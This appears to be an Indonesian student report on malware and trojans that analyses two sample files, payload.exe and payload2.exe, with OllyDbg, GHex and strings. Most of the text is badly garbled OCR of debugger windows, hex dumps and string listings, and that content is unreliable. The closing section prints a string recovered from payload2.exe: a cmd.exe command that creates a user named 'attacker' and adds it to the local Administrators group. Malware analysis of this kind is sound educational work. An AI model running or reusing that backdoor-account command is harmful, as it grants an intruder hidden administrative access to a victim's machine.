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Malware adalah istilah yang digunakan wuntuk perangkat lunak
berbahaya yang dirancang untuk merusak atau melakukan tindakan yang
tidak diinginkan terhadap sistem komputer. Contoh perangkat lunak
berbahaya meliputi Virus, Worm. malware destruktif akan memanfaatkan
alat komunikasi populer untuk menyebar, termasuk worm dikirim melalui
email dan instant messages, Trojan horse dari situs web, dan file yang
terinfeksi virus download dari koneksi peer-to-peer. Malware juga akan
berusaha untuk mengeksploitasi kerentanan yang ada pada sistem making
entry quiet and easy dan mengacu pada setiap jenis perangkat lunak
berbahaya yang mencoba untuk menginfeksi komputer atau perangkat
mobile. Hacker menggunakan malware untuk sejumlah alasan seperti,
penggalian informasi pribadi atau password, mencuri uang, atau mencegah
pemilik mengakses perangkat mereka. Anda dapat melindungi diri terhadap
malware dengan menggunakan software anti-malware

Trojan horse atau Kuda Troya atau yang lebih dikenal sebagai Trojan
dalam keamanan komputer merujuk kepada sebuah bentuk perangkat lunak
yang mencurigakan (malicious software/malware) yang dapat merusak
sebuah sistem atau jaringan. Tujuan dari Trojan adalah memperoleh
informasi dari target (password, kebiasaan user yang tercatat dalam system
log, data, dan lain-lain), dan mengendalikan target (memperoleh hak akses
pada target)

Dalam tugas ini kami melakukan string payload.exe dan payload2.exe
menggunakan software OLLYDBG.EXE maka pada payload.exe akan muncul
tampilan seperti di bawah ini yaitu :

Pertama yang akan terbaca yaitu log data yang berfungsi untuk melihat
tempat menyimpan file payload.exe. Jika membuka file payload.exe pada
software OLLYDBG.EXE maka ini dari file ini akan di tampilkan secara jelas
satu persatu.

Log data
Address |Message
allyDba wi. 18

File "D:~Devi~TUGAS_kjk~TUGHS~paw loads~pay loads pay load. exe’
Hew process with I0 BEADIE4H created
HE4ASHED| Main thread with ID BEADIESH created
YrEAl040) Debug string: SHIMUIEW: ShimInfolCompletel
HE4EREEA ) Modu le D ~0ewi~TUSAS_k jk~TUGAS~pay loads pay loads~pay load. exe
SEHCOEEEA | Madu le CrsMindows~swstend2~apphelp.dll
FEZEEEEE | Modu le CrsWindows~SYSTEMZ2-WSOCK32. 411
FE2EEEEA| Modu le CrsMindows~SYSTEMIZ2~boryptPrimit ives.dll
FEZCEEEE | Modu le C:~Windows~SYSTEMZ2~CRYPTEASE. L L
TEZ0EEEE| Mody Le :\wlndowa\SVSTEHSE\SiplEli.dltL
Ll

C
C
£
TEE1EEEE| Modu e C:sWindows~5YSTEM32~KERHEL3Z. D
TECEEEEE| Modu e C:sWindows~5YSTEM3Z2~AOVAFISZ. d
TEOEEEEE | Modu le CasWindows~5YSTEMIZ2HSI. dL L
FEOVEEEE| Modu le CrsWlindows<SYSTEM3Z2~WSZ2_32.dL1
FEOCEEEE | Modu le CrsWlindows~SYSTEM22~RPCRT4.dL 1L
C:-Windows~SYSTEM32-~MSUCRT. AL L
C:~Windows~5YSTEMZ2~sechost.dl1
C:~Windows~5YSTEM32~KERMHELEASE. AL L
C:-Windows-SYSTEMSZ2~ntdll.dL1L
step event at ntdll.7F30F3FA

FEFFEEEA) Modu Le
FEEBAEEA| Modu Le
FR4FBEEEa) Modu Le
FrEAEEEE) Modu Le
Fr30F3FA)| Single




it

Memory map

o] =S

A

Address |Size Owin 21 Section |Contains Tupe| Access | Initial|Mapped as ]
HEE 1 HEEE | BEE 1 BEER Map | RW Ell

HEE4HEEE | BEEHFEER Map |R F

DEEZSEEE | BEE0EEE0 Friv| Bl Gua Bl

HE1SEEEE | BEEH2E8E0 Friv| Bl Gua Bl

HE130EEE | BEEH3EE0 stack of ma|Priv| BW  Gua) Bl

HE1IHEEE | BEEH4EEE Map | R F

HE1AREEE | BEEH2E8E80 P iv| Bl Ell

HEZZ2HEEE | BEE 1 BEER Priv| Bl Ell

HEZZ2HEEE | BBETEBER Map |R R ~Oewice~Harddisklh
HESANEEE | BEEHSEEE Priv| Rl Ell

BE4E0EE8E | BEE01880 | pay load FE header Imag| R RUE

HE4E1 BEE | BEECEBEEAN| pay load | . teHt code Imag| R RUWE

HE4ECHEE | BEED1BE0 | pay load | . rdata imports Imag| R RUWE

HE4E0REE | BEEHSEEH | pay load | . data data Imag| R EWE

HE4 15886 BEAR18AH | pay load | . rsrc TESOUrCES Imag| R RUWE

HEE4HEEE | BEEHIEER Priv| Bl Ell

SACOREEE | BBEH1868H| apphe Lp FE header Imag| R RUWE

GACD188E| AEE74EEE | apphelp | . tert code, export) Imag| R RUE

SHO45E8E ) BEE04880| apphelp | «data data Imag| R RUE

SHO49886 | BEAE3EEN | apphelp |« idata imports Imag| R RUWE

SHO4CHEE | BEA] FEE0| apphelp | Wrsrc CESOUDCES Imag| R RUWE

SH0ESEEE | BEAHNEEEN | apphe lp | . reloc relocations| Imag| R EWE

TE250E8E | BEER1BEE | WSOCK 32 FPE header Imaa| R RUWE

YE251686 | BEEHIEEN | WSOCK3Z2 | . tent code, edport{ Imag| R RUWE

YE2E54886 | BBAR1BAH | WSOCKSZ2 | . data data Imag| R RUWE

YE2Z5588A | BBAR1BAR | WSOCKSZ | . idata imports Imag| R RUWE

TEZE5EEE) BEAD18E0 | WSO0CK3Z | .rsrc CESOUDTES Imag| R RUE

TEZETEEA| BEAD1BAE | WSOCKSZ | . reloc relocations| Imag| R RUWE

TEZEHEEE | BEEN1BA0 | boryptPr FE header Imag| R RUWE

TE261880) BEA40880 | boryptPr| text code, edport{ Imag| R EWE

TEZAEREA | BEAR1B8AN | borwptPr| L data data Imag| R RUWE

YEZAFEEE | BEEH1BEH | borwptPr| . idata imports Imag| R RUWE

YEZEDEEA| BBAH18AH | boryptPr| . rsrc rESOUrCES Imag| R RUWE

¥YEZ2B1880| AEEE20E8 | boryptPr| . reloc relocations| Imag| R RUE

TEZCOEEE | BEE01880| CRYFTERS FE header Imag| R RUE

TE2ZC1886) BEA048E80 | CRYPTERS| « text code, edport{ Imag| R RUWE

TE2CE5EEE | BEA018Ea0| CRYPTERS| . data data Imag| R RUWE

TEZCEEEE | BEAH1BEH CRYFTERS| . idata imports Imag| R EWE

YE2CYEEE | BEAR18E8H | CRYPTERS| . rsrc TESOUrCES Imag| R RUWE

YE2CEEEE | BEEH1BEH CRYPTERS| . re loc relocations| Imag| R RUWE

YEZ00EEE | BBAE1BAH | SspiCli FE header Imag| R RUWE

FE201800| AEE16AEE | SspiCli | .tert code, export) Imag| R RUE

TEZEVEEE) BEE01880| SspiCli | .data data Imag| R RUE

TEZESHEA| BEADZEE0 | SspiCli |« idata imports Imag| R RUWE

TEZERBEA| BEAR1BAN| SspiCli | .rsrc CESOUDCES Imag| R RUWE

TEZEEBEA| BEANZEEH | SspiCli | .reloc relocations| Imag| R EWE

TEE10EEA | BBEH]1BEH | KERNELZ2 FPE header Imaa| R RUWE

YEEZHEEE | BEEC2E8E8H | KERNELSZ| . tent code Imag| R E RUWE

YEEQHEEA| BBAYEBAN | KERNELSZ| . rdata imports,enpl Imag| R RUWE

YE&1HEEA| BBAN18AH | KERNELSZ| . data data Imag| Rl RUWE

TE&EZ0EEE ) BEE01880 KERHELSZ| « rsrc CESOUDTES Imag| R RUE

TE&30EEE | BEA]1ABAE | KERHELSZ| . re loc relocations| Imag| R RUWE

TECE0EEE | BEE0 1880 AOVARPI32 FE header Imag| R RUWE

TECE18EA) BBAS3EEH | AOVARPISZ| . text code, edport{ Imag| R EWE

TECE9E8A | BBAR48EH | AOVARPI32| . data data Imaa| R RUWE

YECEOEEA | BEEHEEEN ROVARPIZZ| . idata imports Imag| R RUWE

YECCZEBA| BaA0laa0n | AOVARPIZZ| . rsrc rESOUrCES Imag| R RUWE

FECC2880| AEEREAAE | ADVARPIZZ| . reloc relocations| Imag| R RUE

TEOSDEEE | BEE01880 | M5I FE header Imag| R RUE

TEOS1B8E | BEAD2EE8H | M5 hEHE code, edport{ Imag| R RUWE

TEOE3EEE | BEE018Ea0 | M5 .data data Imag| R RUWE

TEOE4EEE | BEEH1BEH | M5]1 . idata imports Imag| R EWE

TEOEEEEE | BEAR1BEH | M5 L IErC TESOUrCES Imag| R RUWE

TEDOSEHEE | BEEH1BEH | M1 reloc relocations| Imag| R RUWE

YEOFOEEE| BaE0186a0H | WS2_32 FE header Imag| R RUWE

FEO7V18606| AEE35EEE | WS2_32 = code, export) Imag| R RUE [
FEMOARAR | ARAR AAR | WIS7 2 A=t = A=t = Tmzml B RUIE

[E] Executable modules =N =R =
Ease Size Entry Hame File wersion FPath

BE4BEHEE | BE0] cEEE | BB4E5AS0| pay load | 2.2.14 Oz ~Dew i~TUGAS_k jk~TUGAS~pay loads pay loads~payw loac
GHCOEEHEE | BEE9988E | SACOZC4E apphelp | 6.3.96008. 16384 | Ci~lindows~system3d2~apphelp.dll
r5250000 | DOEH3E68 | FS2518C8| WSOCK32 | 6.3.9668. 16384 | C:~lindows~SYSTEMI2~WS0CKE2. d1 L
rSZ260000 | DOHS3668 | F5264815| beryptPr| 6.3, 9688, 17831 | C:~Windows~S%YSTEMI2~boryptPrimit ives.dll
r5ZCHHHE | DHHH3@68| FS2C16865| CRYPTEBAS| 6.3, 966868, 16384 | C:~Windows~S%STEM32~CRYFTEASE. d1 L
r5200000 | BEH10868| FS20RAESE| SspiCli | 6.3.96688. 16488 | C:~lindows~SYSTEM32~SspiCli.dll
v5510000 | BH1486868| FE529218| KERHEL32| 6.3. 9688, 17831 | C:~Windows~S%STEM32~KERHELSZ. OLL
TSCEOHEHN | HHHY 3068 | FECE516865| ADVAPIZZ| 6. 3. 96668, 16384 | C:~lindows~SYSTEM32~A0OUARIZZ. d1 L
TSO5HHEE | DHRRFEEE | FE061589| HSI 6.3.9608. 16384 | Ci~Windows~SYSTEM32~MSI.dLL
rS07HEEE | BER40868| FEOF1601 | WS2_32 5.3.9508, 16384 | Ci~Windows~SYSTEM3Z2~WS52_32.d11
FEOCBEHEE | BAEE180E| FEOEY432 | RFCRT4 5.2.9586, 16384 | Cr~lindows-SYSTEM32~RPCRT4.dL L
TSFFOBEE | HOHEEABA| FSFFAICO| MSUCRT v¥.0.9508, 16384 |Ci~Windows~SYSTEM32~MSUCRT. L L
TEHEDHENE | HHHSEABE | FEBBEFE0| sechost | 6.3.96868. 16384 | C:~Windows~S%YSTEM32~sechost.dl 1
T r4FEEEE | HHHCFEEE| FF4F0AZ0| KERMELBA| 6. 3. 9688, 17831 | C:~llindows~S%STEM32~KERHELEASE. d1 L
TTEA0EEE | BHl53888 ntdll 5.3.9508, 17831 | Ci~Windows~SYSTEM3Z2~ntdll.dLlL




T Threads ||| S

Ident Entiy Oata block|Last error |Statu5 |F'ru:|rlty User time Sustem a

BOE01500 | BE4ESHE0| FFFODBEE | ERROR_SUCCESS (B0 Act (ve IZ + B B.6212 5| 6.0

CPU - main thread, module ntdll EI
A BEEEEE TIOU DWORD PR S5: LEGF+E1, EER Regist LFFL
e eqLstelrs

v +E3 SOE4E06E JHP ntdl L. 7PSEASEE -
FFEOFEFS| SDR4Z4 BOBEEEEE| LER ESP,DWORD PTR 55: CESFI Eegaresnsheaslead o le Brity el

ECH BO@OEaGE
FPoDFamd| SBD4 roy EDH, ESP

EDX BOEEEAGE
FPODF40z| BFD4 SYSEMTER

EEY 7FFFDEAGE
7ra0F4m4| C3 RETH e pnrasE
7PE0F40| SDR424 pEBEEReE| LEA ESF,OWORD PTR S5: [ESF] [ A
7rPE0F40C| 206424 GE LER ESP.OMORD PTR S5iCEZP] T e
FPA0F416| SOD5424 GBS LEA EDX,OWORD PTR 55: CESP+S1 o e
FFE0F414| CO 2E INT 2E
7rPoDF4ic| o3 RETH EIF 77S0F3FA ntdll.77E0FSFE
7rPE0F417| 3@ HOP .
| B R C @ ES BAZE Z2bit @(FFFFFFFF)

F @ CSBA22 32bit @FFFFFFFF)
TFE0F41%| 2@ HOP !

A B S5 BAZE 37bit @FFFFFFFF)
rrabf4in) 3@ rae Z @ DS BAZE 27bit @(FFFEFFFF)
FFADF41E| 2@ HOP ;

ErEE| B REEE £ 6 FS BECE 3Zbit pFFODGBGLFFF)
rrepedls) o hor T B G5 6p28 32biv BIFFFFFRFR)
pracel| B ok 0 8 LastErr ERROR_SUCCESS (GRAGRAEEEE
FraOF4za| 55 FUSH EBF EFL BE@EEZEZ [HO,ME,ME,A, M5, PO, GE, 5]
7FaDF421| BBEC Mol EBP, ESP e g

FFo0F422| SDR424 SOFDFFFF|LER ESP,OWORD PTR SS:ESP—20@1 [ ek

5T1 empty B.8
7rE0F4zA| 54 FUSH ESP L
7PE0F4ZE| ES 62010868 CALL ntdll, Rt lCaptureContent ST5 EhEY ArE
7rPE0F430| SESS b4 FOU ED,OWORD PTR S5: CEEP+41 STh e A
FPA0F43Z| OE45 B8 MOV EAX,OWORD FTR S5: CEBP+5] Sl Gy Bl
FPoDF426| 038424 C4BPEAEA| DD DWORD PTR SS:[ESPC41, 4 e S Bl
FPO0F42E| 9958 80 MOV DWORD PTR DS:LERX+CI,E0X IS EmEY A
7PE0F441| CPB424 BPEEE18@|MOU DWORD TR SS:[ESFI, 1B@G7 o
PPADF44E| SBCC HOU ECH ga il Egeyag
e e e FST AEEE Cond B B @ @ Erc 8 8 @ 8
LrEnEan) el e M « | FOU 827F  Pr=c NERR,53 Mask 11

(=] Tl T | o . sl (=] DiLICLL OLinpn DTD ooy PR o]

' o I

Address LHeu durp RSCLL * BBLCFFF4| BB4BSACS0| pay Load. <Modu leEntruPoint » 2
DEGE0C00| 5 B0 D0 G5 B0 G0 B8 B8] ........
GR4E0G0Z| 5 G0 OO 06| G2 GO BE GE|.......0. e
GR4E0G1G| 61 B0 OO 06| 64 BB BE GE[6...d...
GE4E0G12| 61 BA BB BE 1 68 A6 646, .. 6. .
CE4E0E26| 61 BA A0 B6| BA GO B8 BA[ 8, . ... ..
OE4E0EZ2| 26 C3 C9 01 60 00 @5 60| G HEa.
OE4E0G3E|EG GE 41 @6 32 0B @6 60| deA. 2
GR4E0GZE| 42 G0 OO O6) 45 OO BE G8[B. ...
GE4E0G4E| S8 GO GO G5 SA BB BE GE[F...Z...
GE4E0G42 | EF BA A0 G662 B8 B8 BA|_. ... .
CRE4E0E5E| 63 BA A8 BB 64 B8 B8 BA|C...d...
DE4E0E52| 25 73 3A 26/ 43 &1 &E GE|Hs: Cann
OBE4E0EEE| EF 74 2@ 75| 73 65 26 63| ot use o
GR4B0GE2| EF &E 62 75| 72 72 65 GE|oncurren
GR4B0G7E| 63 79 20 60 65 76 65 EC|cu lewel
GBE4B0E7S| 28 67 72 65 61 74 65 72| areater
GBE4B0626| 28 74 52 61 GE 28 74 &F| than to
0B4E0ES2| 74 &1 &C 26| EE 75 &0 62| tal nurb
OB4E0E9E| £5 72 2@ 6F| 66 28 72 £5|er of re
GR4E0G22| 71 75 B 73|74 73 BA 60| quests..
GR4B0GAG| 25 72 3A 26|49 6E 76 61| Hs: Inwa
BRE4E0EAZ | EC 63 64 26| 43 6F 6E 63| [id Conc
BE4B0EEE| 75 72 72 65 6E 63 79 28| urrencw
OB4E0EES|CE 52 61 &E| &7 &5 26 38| [Range @
OE4E0E0E| 2E 2E 25 &4 50 GR @8 68| .. %d1...
GR4E0GCE| 25 73 3A 26| 63 BE 76 61| Hs: inwa
GR4E0G06| 60 63 &4 26|55 G2 4C GA| [id URL.
AR4ENE0Z | 66 BA AR BE| 25 7S 2R 26l ., . H5ss b o




Selanjutnya buka Ghex pada terminal linux yang berfungsi untuk
melihat file payload.exe setelah file tersebut di buka maka akan muncul

tampilan sepeti di bawah ini :

payload.exe - GHex

800060
0000016
800002
060003
806004
806605
0000060(74
600007060
00000080193
100000096JAC

omooo

45

Signed 8 bit: | 0

Unsigned 8bit: 0

Signed 16bit: 0

Unsigned 16bit- | 0

Signed 32 bit: | 0

Unsigned 32 bit: ' 0

Float 32 bit: | 0,000000e+00

Float 64 bit:

2 show little endian decoding

Offset:- 0x14

1,358077e-302

Show unsigned and MNoat as hexadecimal

Hexadecimal: | 00
Octal: | 000
Binary: | 00000000

Stream Length: | 8 =t I; -

Setelah file di atas di samakaan dengan kode yang ada pada halaman
web http:/ /www.garvkessler.net/library/file sigs.html. Ini dari

payload.exe ini sama

210

40 52 50
04 00 0D

oo

Qo
Qo

=
e

a3

ot

FE

0

)

fa]

o

.

oo oo

20 0o

APl
AX
FLT

ZAP

Maewssan

Acrobat plug-m

DhirectShow filter

Andrtion graphee filter file (Adobe)

Ma.eeons
e Y
Zonedlam data file

ZAP ( ZoneAlam data file ) yaitu program firewall pribadi (personal) Zone
Alam dapat memantau
mencurigai,mengirim atau menerima informasi luar Zone Alarm seperti
diibaratkan seperti satpam pada komputer.

segala aktivitas program-program yang

Pada saat di buka pada terminal linux maka tampilan payload.exe akan
lebih lengkap


http://www.garykessler.net/library/file_sigs.html

program cannot be run

p
set_app _type
except _handler3
controlfp
SetLastError
FreeEnvironmentStringsw
GetEnvironmentStringsw
GlobalFree
GetCommandLineW
TlsAlloc
TlsFree
DuplicateHandle
GetCurrentProcess
SetHandleInformation
CloseHandle
GetSystemTimeAsFileTime
MFileTimeToSystemTime
GetTimeZoneInformation
FileTimeToLocalFileTime
SystemTimeToFileTime
SystemTimeToTzSpecificlLocalTime
Sleep
FormatMessageA
QGetLastError
giWwaitForSingleObject
[MCreateEventA
SetStdHandle
SetFilePointer

GetOverlappedResult
DeviceloControl
GetFileInformationByHandle
LocalFree

GetFileType

CreateMutexA
InitializeCriticalSection
DeleteCriticalSection
EnterCriticalSection
ReleaseMutex

SetEvent
LeaveCriticalSection
TerminateProcess
GetExitCodeProcess
GetVersionExA




jer received:
apr_socket recv
</p>
Licensed to The Apache Software Foundation, http://www.apache.org/<
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http .zeustech.net/<br>
This 1s ApacheBench, Version %s <i>&lt 5&gt;</i><br>
SRevision: 655654 $
Licensed to The Apache Software Foundation, http://www.apache.org/
Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
This is ApacheBench, Version %s
2.3 <SRevision: 655654 $>
Display usage information (this message)
Don't exit on socket receive errors.
filename Output CSV file with percentages served
filename Output collected data to gnuplot format file
Do not show confidence estimators and warnings.
Do not show percentiles served table.
Use HTTP KeepAlive feature
Print version number and exit
proxy:port Proxyserver and port number to use
attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
attribute Add Basic Www Authentication, the attributes
Inserted after all normal header lines. (repeatable)
attribute Add Arbitrary header line, eg. 'Accept-Encoding: g
attribute Add cookie, eg. 'Apache=1234. (repeatable)
attributes String to insert as td or th attributes
attributes String to insert as tr attributes
attributes String to insert as table attributes
Use HEAD instead of GET
Print out results in HTML tables
verbosity How much troubleshooting info to print
Default is ‘'text/plain’
‘application/x-www-form-urlencoded’
content-type Content-type header for POSTing, eg.
putfile File containing data to PUT. Remember also to set -T
postfile File containing data to POST. Remember also to set -T
windowsize Size of TCP send/receive buffer, in bytes
timelimit Seconds to max. wait for responses
concurrency Number of multiple reguests to make
-n requests Number of requests to perform
Options are:
Usage: %s [opti ] [http://]lhostnamel:port]/path
SSL not compiled in; no https support

https://

iThe specified child process is done executing
specified thread is not detached
specified thread is detached
forked, and you are currently executing in the parent process
our code just forked, and you are currently executing in the child process
HInternal error
process 1s not recognized.
given path contained wildcard characters
e given path is misformatted or contained invalid characters
given path was above the root path
given path is incomplete
e given path is relative
given path is absolute
specified network mask is in
specified IP address is inva
load failed
shared memory is currently available
thread key structure was provided and one was req
thread was provided and one was required.
socket was provided and one was required
poll structure was provided and one was required.
lock was provided and one was required.
directory was provided and one was required.
time was provided and one was required.
process was provided and one was required.
invalid socket was returned
invalid date has been provided
A new pool could not be created.
Unrecognized Win32 error code %d
Cancello
GetCompressedFileSizeA
tCompressedFileSizew
iZwQueryInformationFile
IGetSecurityInfo
iGetNamedSecurityInfoA
iGetNamedSecurityInfowW
HGetEffectiveRightsFromAclw

%C:\1ucd19%d&f\v&1edse\bu1?d-2.?.ld\suppurI\Reiease\db.pdb

Selanjutnya buka Ghex pada terminal linux yang berfungsi untuk
melihat file payload2.exe setelah file tersebut di buka maka akan muncul
tampilan sepeti di bawah ini :



050 payload2.exe - GHex

File Edit View Windows

30 8B
AC
8B S
5 59
FF
>4
1C 01
51
80

2 56 68

] S 950197248 Hexadeoma 0
Ungigr ) n '~ t AT 70048 Octal | 000
gned 16 bit ) it bit 2.696302-33 Bnary: | 00000000
Unsigned 16DIEC [ O at 2,050813e4177 eam Length - P
m wow litthe endian de ng I g 3 and Noat as hexadecima

Pada payload2.exe file hanya bisa di buka pada teminal linuux, dan
berikut tampilan dari isi file payload2.exe

strings payload2.exe

D

a¥YZQ

cmd.exe /c net " acker Gantengl /ADD && net localgroup Administrators attacker /ADD



